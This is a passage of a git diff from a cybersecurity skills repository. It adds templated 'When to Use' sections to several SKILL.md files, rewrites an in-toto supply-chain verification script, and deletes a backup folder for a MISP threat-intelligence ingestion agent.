conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with cryptography concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Generate RSA key pairs with appropriate key sizes (2048, 3072, 4096 bits) diff --git a/skills/implementing-runtime-security-with-tetragon/SKILL.md b/skills/implementing-runtime-security-with-tetragon/SKILL.md index 3cfd1ea9..07c22d40 100644 --- a/skills/implementing-runtime-security-with-tetragon/SKILL.md +++ b/skills/implementing-runtime-security-with-tetragon/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Tetragon is a CNCF project under Cilium that provides flexible Kubernetes-aware security observability and runtime enforcement using eBPF. By operating at the Linux kernel level, Tetragon can monitor and enforce policies on process execution, file access, network connections, and system calls with less than 1% performance overhead -- far more efficient than traditional user-space security agents. + +## When to Use + +- When deploying or configuring implementing runtime security with tetragon capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Kubernetes cluster v1.24+ with Helm 3.x installed diff --git a/skills/implementing-security-monitoring-with-datadog/SKILL.md b/skills/implementing-security-monitoring-with-datadog/SKILL.md index 60361a8b..b678c01f 100644 --- a/skills/implementing-security-monitoring-with-datadog/SKILL.md +++ b/skills/implementing-security-monitoring-with-datadog/SKILL.md @@ -13,6 +13,14 @@ license: Apache-2.0 ## Overview Configure Datadog Cloud SIEM for security event monitoring, create detection rules, build security dashboards, and implement automated alerting for threat detection across cloud and hybrid infrastructure. + +## When to Use + +- When deploying or configuring implementing security monitoring with datadog capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Datadog account with Security Monitoring enabled - Python 3.9+ with `datadog-api-client` library diff --git a/skills/implementing-semgrep-for-custom-sast-rules/SKILL.md b/skills/implementing-semgrep-for-custom-sast-rules/SKILL.md index 5cbd5a73..c859a70a 100644 --- a/skills/implementing-semgrep-for-custom-sast-rules/SKILL.md +++ b/skills/implementing-semgrep-for-custom-sast-rules/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Semgrep is an open-source static analysis tool that uses pattern-matching to find bugs, enforce code standards, and detect security vulnerabilities. Custom rules are written in YAML using Semgrep's pattern syntax, making it accessible without requiring compiler knowledge. It supports 30+ languages including Python, JavaScript, Go, Java, and C. + +## When to Use + +- When deploying or configuring implementing semgrep for custom sast rules capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Python 3.8+ or Docker diff --git a/skills/implementing-soar-playbook-with-palo-alto-xsoar/SKILL.md b/skills/implementing-soar-playbook-with-palo-alto-xsoar/SKILL.md index 65a24761..ebed7bd8 100644 --- a/skills/implementing-soar-playbook-with-palo-alto-xsoar/SKILL.md +++ b/skills/implementing-soar-playbook-with-palo-alto-xsoar/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Cortex XSOAR (formerly Demisto) is Palo Alto Networks' Security Orchestration, Automation, and Response platform. Playbooks are the core automation engine in XSOAR, enabling SOC teams to automate repetitive incident response tasks. XSOAR provides 900+ prebuilt integration packs, 87 common playbooks, and a visual drag-and-drop editor for building custom workflows. Organizations using SOAR automation reduce mean time to respond (MTTR) by 80% on average. + +## When to Use + +- When deploying or configuring implementing soar playbook with palo alto xsoar capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Cortex XSOAR deployed (version 8.x or later, or XSOAR hosted) diff --git a/skills/implementing-supply-chain-security-with-in-toto/SKILL.md b/skills/implementing-supply-chain-security-with-in-toto/SKILL.md index 472ade5b..4fb21d62 100644 --- a/skills/implementing-supply-chain-security-with-in-toto/SKILL.md +++ b/skills/implementing-supply-chain-security-with-in-toto/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 in-toto is a CNCF graduated project that ensures the integrity of software supply chains from initiation to end-user installation. It creates a verifiable record of the entire software development lifecycle by generating cryptographically signed attestations (called "link metadata") at each step, proving what happened, who performed it, and what artifacts were produced. For container environments, in-toto verifies that images deployed to Kubernetes followed approved build processes and have not been tampered with. + +## When to Use + +- When deploying or configuring implementing supply chain security with in toto capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Python 3.8+ or Go runtime for in-toto client libraries diff --git a/skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py b/skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py index 336c1a5b..85047d36 100644 --- a/skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py +++ b/skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py @@ -1,61 +1,253 @@ #!/usr/bin/env python3 -"""in-toto supply chain security audit.""" -import argparse, json +"""in-toto supply chain security agent. + +Implements software supply chain verification using the in-toto framework. +Creates and verifies supply chain layouts, generates link metadata for +build steps, and validates that all steps were performed by authorized +functionaries with correct materials and products. +""" +import argparse +import json +import os +import subprocess +import sys from datetime import datetime, timezone -try: - import requests -except ImportError: - requests = None -def audit_config(target, token): + +def find_intoto_binary(): + """Locate in-toto CLI tools.""" + tools = {} + for name in ["in-toto-run", "in-toto-verify", "in-toto-record", "in-toto-sign"]: + for ext in ["", ".exe"]: + for d in os.environ.get("PATH", "").split(os.pathsep): + full = os.path.join(d, name + ext) + if os.path.isfile(full): + tools[name] = full + break + return tools + + +def create_layout_template(output_path, project_name, steps=None): + """Generate a supply chain layout template.""" + if steps is None: + steps = [ + {"name": "clone", "expected_command": ["git", "clone"], + "threshold": 1, "materials": [], "products": ["src/*"]}, + {"name": "build", "expected_command": ["make"], + "threshold": 1, "materials": ["src/*"], "products": ["dist/*"]}, + {"name": "test", "expected_command": ["make", "test"], + "threshold": 1, "materials": ["src/*", "dist/*"], "products": []}, + {"name": "package", "expected_command": ["tar", "czf"], + "threshold": 1, "materials": ["dist/*"], "products": ["*.tar.gz"]}, + ] + + layout = { + "_type": "layout", + "expires": (datetime.now(timezone.utc).replace(year=datetime.now().year + 1)).isoformat(), + "readme": f"Supply chain layout for {project_name}", + "steps": [], + "inspect": [ + { + "name": "verify-signature", + "expected_materials": [["MATCH", "*.tar.gz", "WITH", "PRODUCTS", "FROM", "package"]], + "expected_products": [], + "run": ["sha256sum", "*.tar.gz"], + } + ], + "keys": {}, + } + + for step in steps: + layout["steps"].append({ + "name": step["name"], + "expected_command": step.get("expected_command", []), + "threshold": step.get("threshold", 1), + "expected_materials": [ + ["MATCH", m, "WITH", "PRODUCTS", "FROM", steps[i-1]["name"]] + if i > 0 else ["ALLOW", m] + for i, m in enumerate(step.get("materials", [])) + ] or [["ALLOW", "*"]], + "expected_products": [ + ["CREATE", p] for p in step.get("products", []) + ] or [["ALLOW", "*"]], + "pubkeys": [], + }) + + with open(output_path, "w") as f: + json.dump(layout, f, indent=2) + print(f"[+] Layout template written to {output_path}") + return layout + + +def run_step(tools, step_name, key_path, command, materials=None, products=None): + """Execute a supply chain step and record link metadata.""" + intoto_run = tools.get("in-toto-run") + if not intoto_run: + print("[!] in-toto-run not found", file=sys.stderr) + return None + + cmd = [intoto_run, "--step-name", step_name, "--key", key_path] + if materials: + for m in materials: + cmd.extend(["--materials", m]) + if products: + for p in products: + cmd.extend(["--products", p]) + cmd.append("--") + cmd.extend(command) + + print(f"[*] Running step '{step_name}': {' '.join(command)}") + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if result.returncode != 0: + print(f"[!] Step failed: {result.stderr[:200]}", file=sys.stderr) + return {"step": step_name, "status": "FAIL", "error": result.stderr[:200]} + + link_file = f"{step_name}.link" + if os.path.isfile(link_file): + print(f"[+] Link metadata: {link_file}") + with open(link_file, "r") as f: + link_data = json.load(f) + return {"step": step_name, "status": "OK", "link_file": link_file, + "materials_count": len(link_data.get("signed", {}).get("materials", {})), + "products_count": len(link_data.get("signed", {}).get("products", {}))} + return {"step": step_name, "status": "OK", "link_file": "generated"} + + +def verify_layout(tools, layout_path, layout_key_path, link_dir="."): + """Verify the supply chain against the layout.""" + intoto_verify = tools.get("in-toto-verify") + if not intoto_verify: + print("[!] in-toto-verify not found", file=sys.stderr) + return {"status": "FAIL", "error": "in-toto-verify not found"} + + cmd = [intoto_verify, + "--layout", layout_path, + "--layout-keys", layout_key_path, + "--link-dir", link_dir] + + print(f"[*] Verifying supply chain layout: {layout_path}") + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + if result.returncode == 0: + print(f"[+] Verification PASSED") + return {"status": "PASS", "detail": "All steps verified successfully"} + else: + print(f"[!] Verification FAILED: {result.stderr[:300]}") + return {"status": "FAIL", "detail": result.stderr[:300]} + + +def audit_existing_links(link_dir="."): + """Audit existing link metadata files.""" findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) + for fname in os.listdir(link_dir): + if not fname.endswith(".link"): + continue + fpath = os.path.join(link_dir, fname) + try: + with open(fpath, "r") as f: + link = json.load(f) + signed = link.get("signed", {}) + step_name = signed.get("name", fname) + materials = signed.get("materials", {}) + products = signed.get("products", {}) + command = signed.get("command", []) + byproducts = signed.get("byproducts", {}) + + findings.append({ + "link_file": fname, + "step_name": step_name, + "materials_count": len(materials), + "products_count": len(products), + "command": " ".join(command)[:80] if command else "N/A", + "return_code": byproducts.get("return-value", "N/A"), + "has_signature": bool(link.get("signatures")), + }) + except (json.JSONDecodeError, IOError) as e: + findings.append({"link_file": fname, "error": str(e)}) + return findings -def check_compliance(target, token): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass - return findings + +def format_summary(results): + """Print supply chain audit summary.""" + print(f"\n{'='*60}") + print(f" in-toto Supply Chain Security Report") + print(f"{'='*60}") + if isinstance(results, list): + print(f" Link Files Found: {len(results)}") + for r in results: + if "error" in r: + print(f" [ERR] {r['link_file']}: {r['error']}") + else: + sig = "signed" if r.get("has_signature") else "UNSIGNED" + print(f" [{sig:8s}] {r['step_name']:20s} | " + f"{r['materials_count']} materials, {r['products_count']} products | " + f"cmd: {r.get('command', 'N/A')[:40]}") + def main(): - p = argparse.ArgumentParser(description="in-toto supply chain security audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] in-toto supply chain security audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser( + description="in-toto supply chain security agent" + ) + sub = parser.add_subparsers(dest="command") + + p_layout = sub.add_parser("create-layout", help="Generate a layout template") + p_layout.add_argument("--project", required=True, help="Project name") + p_layout.add_argument("--output-path", default="root.layout", help="Layout output file") + + p_run = sub.add_parser("run-step", help="Execute a supply chain step") + p_run.add_argument("--step-name", required=True) + p_run.add_argument("--key", required=True, help="Functionary key path") + p_run.add_argument("--materials", nargs="*") + p_run.add_argument("--products", nargs="*") + p_run.add_argument("cmd", nargs="+", help="Command to execute") + + p_verify = sub.add_parser("verify", help="Verify supply chain") + p_verify.add_argument("--layout", required=True) + p_verify.add_argument("--layout-key", required=True) + p_verify.add_argument("--link-dir", default=".") + + p_audit = sub.add_parser("audit", help="Audit existing link metadata") + p_audit.add_argument("--link-dir", default=".") + + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + if not args.command: + parser.print_help() + sys.exit(1) + + tools = find_intoto_binary() + result = {} + + if args.command == "create-layout": + layout = create_layout_template(args.output_path, args.project) + result = {"action": "create-layout", "layout": layout} + elif args.command == "run-step": + step_result = run_step(tools, args.step_name, args.key, + args.cmd, args.materials, args.products) + result = {"action": "run-step", "result": step_result} + elif args.command == "verify": + verify_result = verify_layout(tools, args.layout, args.layout_key, args.link_dir) + result = {"action": "verify", "result": verify_result} + elif args.command == "audit": + link_findings = audit_existing_links(args.link_dir) + format_summary(link_findings) + result = {"action": "audit", "links": link_findings} + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "in-toto", + "result": result, + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/implementing-threat-intelligence-platform.bak/LICENSE b/skills/implementing-threat-intelligence-platform.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/implementing-threat-intelligence-platform.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/implementing-threat-intelligence-platform.bak/SKILL.md b/skills/implementing-threat-intelligence-platform.bak/SKILL.md deleted file mode 100644 index 1644209d..00000000 --- a/skills/implementing-threat-intelligence-platform.bak/SKILL.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -name: implementing-threat-intelligence-platform -description: >- - Build a MISP-backed threat intelligence platform that ingests IOCs from multiple feeds, - correlates events with galaxy clusters, and enriches indicators via VirusTotal and AbuseIPDB. - Uses PyMISP to create events, add attributes with IDS flags, tag with MITRE ATT&CK techniques, - and export STIX 2.1 bundles for downstream SIEM consumption. -domain: cybersecurity -subdomain: threat-intelligence -tags: [implementing, threat, intelligence, platform] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -## Instructions - -1. Install dependencies: `pip install pymisp requests stix2` -2. Deploy MISP instance and generate an API key from Administration > Auth Keys. -3. Use PyMISP to connect and create threat intelligence events: - - Create events with threat level, distribution, and analysis status - - Add attributes (ip-dst, domain, sha256, url) with to_ids flags - - Tag events with MITRE ATT&CK technique identifiers - - Correlate events across organizations -4. Ingest from external feeds: URLhaus, Feodo Tracker, MalwareBazaar. -5. Enrich IOCs via VirusTotal and AbuseIPDB APIs. -6. Export correlated events as STIX 2.1 bundles. - -```bash -python scripts/agent.py --misp-url https://misp.local --misp-key --ingest-feeds --output misp_report.json -``` - -## Examples - -### Create MISP Event with IOCs -```python -from pymisp import PyMISP, MISPEvent, MISPAttribute -misp = PyMISP("https://misp.local", "api_key") -event = MISPEvent() -event.info = "Phishing Campaign - 2024-Q1" -event.threat_level_id = 2 -event.add_attribute("ip-dst", "185.143.223.47", to_ids=True) -misp.add_event(event) -``` diff --git a/skills/implementing-threat-intelligence-platform.bak/references/api-reference.md b/skills/implementing-threat-intelligence-platform.bak/references/api-reference.md deleted file mode 100644 index 1f7b38b9..00000000 --- a/skills/implementing-threat-intelligence-platform.bak/references/api-reference.md +++ /dev/null @@ -1,56 +0,0 @@ -# API Reference: MISP Threat Intelligence Platform - -## PyMISP Constructor -```python -from pymisp import PyMISP, MISPEvent, MISPAttribute, MISPTag -misp = PyMISP(url, key, ssl=True, debug=False, proxies=None, - cert=None, auth=None, tool='', timeout=None) -``` - -## Core Methods -```python -misp.add_event(event, pythonify=False, metadata=False) -misp.get_event(event_id, pythonify=False) -misp.update_event(event, pythonify=False) -misp.add_attribute(event_id, attribute, pythonify=False) -misp.update_attribute(attribute, pythonify=False) -misp.search(value=None, type_attribute=None, category=None, - org=None, tags=None, pythonify=False) -misp.add_tag(tag, pythonify=False) -misp.get_stix_event(event_id) -``` - -## MISPEvent Object -```python -event = MISPEvent() -event.info = "Event description" -event.threat_level_id = 2 # 1=High, 2=Medium, 3=Low, 4=Undefined -event.distribution = 1 # 0=Org, 1=Community, 2=Connected, 3=All -event.analysis = 0 # 0=Initial, 1=Ongoing, 2=Complete -event.add_attribute("ip-dst", "1.2.3.4", to_ids=True) -event.add_tag(tag) -``` - -## MISPAttribute Object -```python -attr = MISPAttribute() -attr.type = "ip-dst" # ip-dst, domain, url, sha256, md5, email-src -attr.value = "1.2.3.4" -attr.to_ids = True -attr.category = "Network activity" -attr.comment = "C2 server" -``` - -## Feed APIs -| Feed | Endpoint | Method | -|------|----------|--------| -| URLhaus | `https://urlhaus-api.abuse.ch/api/v1/urls/recent/limit/N/` | POST | -| Feodo Tracker | `https://feodotracker.abuse.ch/downloads/ipblocklist_recommended.json` | GET | -| MalwareBazaar | `https://mb-api.abuse.ch/api/v1/` | POST (query=get_info) | - -## VirusTotal v3 - IP Enrichment -``` -GET /api/v3/ip_addresses/{ip} -Header: x-apikey: -Response: data.attributes.last_analysis_stats.malicious -``` diff --git a/skills/implementing-threat-intelligence-platform.bak/scripts/agent.py b/skills/implementing-threat-intelligence-platform.bak/scripts/agent.py deleted file mode 100644 index 1e594950..00000000 --- a/skills/implementing-threat-intelligence-platform.bak/scripts/agent.py +++ /dev/null @@ -1,213 +0,0 @@ -#!/usr/bin/env python3 -"""Threat Intelligence Platform Agent - Manages MISP events, IOC ingestion, and enrichment via PyMISP.""" - -import json -import logging -import argparse -from datetime import datetime - -import requests -from pymisp import PyMISP, MISPEvent, MISPAttribute, MISPTag - -logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") -logger = logging.getLogger(__name__) - - -def connect_misp(url, key, ssl=True): - """Connect to MISP instance via PyMISP.""" - misp = PyMISP(url, key, ssl=ssl) - logger.info("Connected to MISP at %s", url) - return misp - - -def create_threat_event(misp, info, threat_level=2, distribution=1, analysis=0, tags=None): - """Create a new MISP event for a threat campaign.""" - event = MISPEvent() - event.info = info - event.threat_level_id = threat_level - event.distribution = distribution - event.analysis = analysis - if tags: - for tag_name in tags: - tag = MISPTag() - tag.name = tag_name - event.add_tag(tag) - result = misp.add_event(event, pythonify=True) - logger.info("Created MISP event: %s (ID: %s)", info, result.id) - return result - - -def add_iocs_to_event(misp, event_id, iocs): - """Add IOC attributes to an existing MISP event.""" - type_map = { - "ipv4": "ip-dst", - "domain": "domain", - "url": "url", - "sha256": "sha256", - "md5": "md5", - "email": "email-src", - } - added = 0 - for ioc in iocs: - ioc_type = type_map.get(ioc["type"], ioc["type"]) - attr = MISPAttribute() - attr.type = ioc_type - attr.value = ioc["value"] - attr.to_ids = ioc.get("to_ids", True) - attr.comment = ioc.get("comment", "") - attr.category = ioc.get("category", "Network activity") - misp.add_attribute(event_id, attr, pythonify=True) - added += 1 - logger.info("Added %d IOCs to event %s", added, event_id) - return added - - -def ingest_urlhaus_feed(misp, event_id): - """Ingest recent malicious URLs from URLhaus into a MISP event.""" - url = "https://urlhaus-api.abuse.ch/v1/urls/recent/limit/50/" - resp = requests.post(url, timeout=30) - data = resp.json() - iocs = [] - for entry in data.get("urls", []): - iocs.append({ - "type": "url", - "value": entry["url"], - "comment": f"URLhaus: {entry.get('threat', 'unknown')}", - "to_ids": True, - "category": "Network activity", - }) - if iocs: - add_iocs_to_event(misp, event_id, iocs) - logger.info("Ingested %d URLs from URLhaus", len(iocs)) - return len(iocs) - - -def ingest_feodotracker_feed(misp, event_id): - """Ingest C2 IPs from Feodo Tracker into a MISP event.""" - url = "https://feodotracker.abuse.ch/downloads/ipblocklist_recommended.json" - resp = requests.get(url, timeout=30) - iocs = [] - for entry in resp.json(): - iocs.append({ - "type": "ipv4", - "value": entry["ip_address"], - "comment": f"Feodo: {entry.get('malware', 'unknown')} port {entry.get('port', '')}", - "to_ids": True, - "category": "Network activity", - }) - if iocs: - add_iocs_to_event(misp, event_id, iocs) - logger.info("Ingested %d C2 IPs from Feodo Tracker", len(iocs)) - return len(iocs) - - -def enrich_ip_virustotal(ip_address, api_key): - """Enrich an IP address via VirusTotal API v3.""" - url = f"https://www.virustotal.com/api/v3/ip_addresses/{ip_address}" - resp = requests.get(url, headers={"x-apikey": api_key}, timeout=30) - if resp.status_code == 200: - attrs = resp.json()["data"]["attributes"] - return { - "ip": ip_address, - "malicious": attrs.get("last_analysis_stats", {}).get("malicious", 0), - "as_owner": attrs.get("as_owner", ""), - "country": attrs.get("country", ""), - } - return {"ip": ip_address, "error": resp.status_code} - - -def enrich_event_iocs(misp, event_id, vt_api_key): - """Enrich all IP attributes in a MISP event via VirusTotal.""" - event = misp.get_event(event_id, pythonify=True) - enriched = 0 - for attr in event.attributes: - if attr.type == "ip-dst" and vt_api_key: - vt_data = enrich_ip_virustotal(attr.value, vt_api_key) - if vt_data.get("malicious", 0) > 0: - attr.comment = f"{attr.comment} | VT: {vt_data['malicious']} malicious" - misp.update_attribute(attr, pythonify=True) - enriched += 1 - logger.info("Enriched %d attributes via VirusTotal", enriched) - return enriched - - -def tag_with_mitre(misp, event_id, techniques): - """Tag a MISP event with MITRE ATT&CK technique identifiers.""" - event = misp.get_event(event_id, pythonify=True) - for technique in techniques: - tag = MISPTag() - tag.name = f"misp-galaxy:mitre-attack-pattern=\"{technique}\"" - event.add_tag(tag) - misp.update_event(event, pythonify=True) - logger.info("Tagged event %s with %d MITRE techniques", event_id, len(techniques)) - - -def search_correlated_events(misp, attribute_value): - """Search MISP for events containing a specific attribute value.""" - results = misp.search(value=attribute_value, pythonify=True) - events = [] - for event in results: - events.append({ - "event_id": event.id, - "info": event.info, - "date": str(event.date), - "threat_level": event.threat_level_id, - }) - logger.info("Found %d correlated events for %s", len(events), attribute_value) - return events - - -def export_stix_bundle(misp, event_id, output_path): - """Export a MISP event as a STIX 2.1 bundle.""" - stix_data = misp.get_stix_event(event_id) - with open(output_path, "w") as f: - json.dump(stix_data, f, indent=2) - logger.info("Exported STIX bundle for event %s to %s", event_id, output_path) - - -def generate_report(event_id, feed_counts, enriched, correlations): - """Generate TI platform operation report.""" - report = { - "timestamp": datetime.utcnow().isoformat(), - "event_id": event_id, - "feed_ingestion": feed_counts, - "enriched_attributes": enriched, - "correlations_found": len(correlations), - } - total_iocs = sum(feed_counts.values()) - print(f"TI PLATFORM REPORT: Event {event_id}, {total_iocs} IOCs ingested, {enriched} enriched") - return report - - -def main(): - parser = argparse.ArgumentParser(description="Threat Intelligence Platform Agent") - parser.add_argument("--misp-url", required=True, help="MISP instance URL") - parser.add_argument("--misp-key", required=True, help="MISP API key") - parser.add_argument("--event-info", default="Automated TI Feed Ingestion") - parser.add_argument("--ingest-feeds", action="store_true") - parser.add_argument("--vt-key", help="VirusTotal API key for 